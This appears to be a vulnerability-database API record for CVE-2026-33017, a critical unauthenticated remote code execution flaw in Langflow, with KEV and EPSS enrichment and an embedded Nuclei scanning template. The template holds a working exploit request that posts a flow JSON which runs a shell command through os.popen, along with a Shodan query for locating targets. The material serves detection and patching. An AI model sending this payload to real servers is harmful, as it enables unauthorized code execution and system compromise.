{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-33017/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-33017/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-33017/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-33017/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-33017/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-33017"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-33017"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.96177,
      "kev": true,
      "percentile": 0.99876
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-33017.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2026-33017\n\ninfo:\n  name: Langflow < 1.9.0 - Remote Code Execution\n  author: himind\n  severity: critical\n  description: |\n    Langflow versions prior to 1.9.0 are vulnerable to unauthenticated remote code execution (RCE) via the build_public_tmp endpoint. Attackers can submit a manipulated flow JSON containing Python code that is executed during the build process without proper sandboxing.\n  impact: |\n    Remote attackers can execute arbitrary Python code without authentication, leading to full system compromise.\n  remediation: |\n    Update to version 1.9.0 or later.\n  reference:\n    - https://thehackernews.com/2026/03/critical-langflow-flaw-cve-2026-33017.html\n    - https://www.sysdig.com/blog/cve-2026-33017-how-attackers-compromised-langflow-ai-pipelines-in-20-hours\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-33017\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-33017\n    epss-score: 0.96177\n    epss-percentile: 0.99876\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: langflow\n    product: langflow\n    shodan-query: http.favicon.hash:1727196746\n  tags: cve,cve2026,langflow,rce,ai,passive,kev,vkev\n\nvariables:\n  uuid: \"{{uuid}}\"\n\nflow: http(1) && (http(2) || http(3))\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"langflow\"\n        case-insensitive: true\n\n  - method: POST\n    path:\n      - \"{{BaseURL}}/api/v1/build_public_tmp/{{uuid}}/flow\"\n\n    body: |\n      {\n        \"data\": {\n          \"nodes\": [\n            {\n              \"data\": {\n                \"node\": {\n                  \"template\": {\n                    \"code\": {\n                      \"value\": \"def function():\\n    import os\\n    return os.popen('id').read()\"\n                    }\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    headers:\n      Content-Type: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(content_type, \"application/json\")'\n          - 'regex(\"uid=[0-9]+.*gid=[0-9]+.*\", body)'\n          - 'contains(body, \"xmsg\\\":\")'\n        condition: and\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/v1/version\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"compare_versions(version, '< 1.9.0')\"\n          - \"status_code == 200\"\n        condition: and\n\n    extractors:\n      - type: json\n        name: version\n        json:\n          - \".version\"\n        internal: true\n# digest: 4b0a00483046022100f0046bfc329bf38ca5a1b7d0166a6d60ddcb8526d6468f077c351cf07ec017a7022100c546c56a5e811022dd2d026514ae12560633fa687cff4c3c654c2e491505e914:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-33017"
}